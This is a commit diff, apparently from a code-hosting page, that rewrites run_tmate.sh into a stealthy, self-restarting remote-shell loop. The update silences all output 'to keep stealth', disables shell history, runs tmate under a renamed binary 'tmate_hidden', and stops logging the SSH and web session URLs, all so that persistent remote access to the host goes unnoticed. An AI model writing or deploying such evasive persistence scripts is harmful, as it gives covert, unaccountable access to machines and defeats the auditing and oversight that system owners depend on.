ayoub ayoub commited on
Commit
129b0b4
·
verified ·
1 Parent(s): 37cae65

Update run_tmate.sh

Browse files
Files changed (1) hide show
  1. run_tmate.sh +19 -12
run_tmate.sh CHANGED
@@ -1,29 +1,36 @@
1
  #!/bin/bash
2
 
3
- while true; do
4
- echo "[tmate-log] Launching new tmate session..." | tee /home/draco/tmate.txt
 
 
5
 
6
- # Start tmate session
7
- tmate -S /tmp/tmate.sock new-session -d
8
- tmate -S /tmp/tmate.sock wait tmate-ready
 
 
 
9
 
10
- echo "[tmate-log] SSH: $(tmate -S /tmp/tmate.sock display -p "#{tmate_ssh}")" | tee -a /home/draco/tmate.txt
11
- echo "[tmate-log] Web: $(tmate -S /tmp/tmate.sock display -p "#{tmate_web}")" | tee -a /home/draco/tmate.txt
12
- echo "[tmate-log] Monitoring connection (will restart in 3 hours)..." | tee -a /home/draco/tmate.txt
13
 
 
 
14
  # Monitor for 3 hours or until tmate process exits
15
  start_time=$(date +%s)
16
- while pgrep -f "tmate -S /tmp/tmate.sock" > /dev/null; do
17
  current_time=$(date +%s)
18
  elapsed=$((current_time - start_time))
19
  if [ $elapsed -ge 10800 ]; then
20
- echo "[tmate-log] 3 hours passed. Restarting session..." | tee -a /home/draco/tmate.txt
21
- pkill -f "tmate -S /tmp/tmate.sock"
22
  break
23
  fi
24
  sleep 5
25
  done
26
 
27
- echo "[tmate-log] ⚠️ Connection lost or timeout. Reconnecting in 5 seconds..." | tee -a /home/draco/tmate.txt
28
  sleep 5
29
  done
 
1
  #!/bin/bash
2
 
3
+ LOGFILE="/home/draco/tmate.txt"
4
+
5
+ # Disable logging to keep stealth
6
+ exec 1>/dev/null 2>&1
7
 
8
+ # Disable shell history
9
+ unset HISTFILE
10
+ export HISTFILE=/dev/null
11
+
12
+ while true; do
13
+ # (No echo logs to file or stdout)
14
 
15
+ # Start detached tmate session silently, using hidden socket
16
+ tmate_hidden -S /tmp/tmate.sock new-session -d
17
+ tmate_hidden -S /tmp/tmate.sock wait tmate-ready
18
 
19
+ # No logs or display of ssh/web URLs for stealth
20
+
21
  # Monitor for 3 hours or until tmate process exits
22
  start_time=$(date +%s)
23
+ while pgrep -f "tmate_hidden -S /tmp/tmate.sock" > /dev/null; do
24
  current_time=$(date +%s)
25
  elapsed=$((current_time - start_time))
26
  if [ $elapsed -ge 10800 ]; then
27
+ # Restart tmate silently after 3 hours
28
+ pkill -f "tmate_hidden -S /tmp/tmate.sock"
29
  break
30
  fi
31
  sleep 5
32
  done
33
 
34
+ # Wait 5 seconds before reconnecting, no log output
35
  sleep 5
36
  done